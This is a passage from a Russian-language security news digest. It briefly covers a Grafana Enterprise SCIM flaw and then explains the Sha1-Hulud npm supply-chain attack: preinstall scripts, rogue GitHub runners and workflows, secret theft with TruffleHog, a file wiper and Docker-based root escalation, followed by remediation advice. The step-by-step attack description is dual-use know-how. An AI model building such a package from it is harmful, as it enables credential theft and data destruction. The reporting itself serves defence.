Для защиты необходимо как можно скорее обновить Grafana Enterprise до версии 12.3.0 или патчевых релизов 12.2.1, 12.1.3, 12.0.6. В качестве временной меры рекомендуется отключить SCIM provisioning. Уязвимость в Grafana была обнаружена и устранена 4 ноября 2025 года. По данным компании, злоумышленники не использовали её в атаках на облачный сервис Grafana Cloud.
xakep.ru/2025/11/24/grafana-flaw/

Опасная атака на npm: Sha1-Hulud крадёт данные и уничтожает файлы
Специалисты по ИБ обнаружили волну атак Sha1-Hulud на реестр npm, которая затронула уже более 25 000 репозиториев. Принцип её работы напоминает атаку Shai-Hulud, выявленную ранее в 2025 году. Но новый вредонос может не только красть учётную информацию и получать контроль над системами, но и даёт возможность полностью удалять данные на заражённых устройствах.
Как работает атака Sha1-Hulud на npm:
Злоумышленники добавляют в пакеты вредоносный скрипт preinstall, который выполняется автоматически при установке пакета. Этот скрипт обнаруживает или устанавливает среду Bun.
Запускается вложенный вредоносный код, который регистрирует заражённую машину как GitHub self-hosted runner с именем SHA1HULUD.
Далее создаётся и добавляется в репозиторий вредоносный GitHub workflow (например, .github/workflows/discussion.yaml) с уязвимостью внедрения команд. Этот workflow позволяет злоумышленникам запускать произвольные команды на runner.
Вредоносный код запускает утилиту TruffleHog для локального сканирования машины на предмет поиска токенов npm, ключей облачных платформ AWS, GCP, переменных окружения и других секретов.
Workflow собирает все секреты из GitHub Secrets и сохраняет их в файл actionsSecrets.json, который скачивается обратно на заражённую машину. Workflow удаляется для сокрытия следов.
Собранные секреты и конфиденциальные данные отправляются злоумышленникам, в том числе создаётся публичный репозиторий Shai-Hulud с украденными данными от имени жертвы.
Если вредонос не может получить доступ к токенам или аутентифицироваться в GitHub (или получить npm токены), запускается функция уничтожения всех доступных для записи файлов в домашнем каталоге (wiper). Для повышения привилегий вирус пытается получить root-доступ через Docker, монтируя корневую файловую систему в привилегированном контейнере и копируя вредоносный файл sudoers для беспарольного доступа. Подробнее о механизме атаки и её рисках рассказывали в нашей статье на Хабре.
Как защититься:
просканировать все конечные точки на наличие заражённых пакетов и немедленно удалить их;
обновить все учётные данные и проверить репозитории на наличие подозрительных файлов workflow, таких как shai-hulud-workflow.yml;
внимательно следить за необычными ветками и действиями в .github/workflows для выявления скрытого заражения.
thehackernews.com/2025/11/second-sha1-hulud-wave-affects-25000.html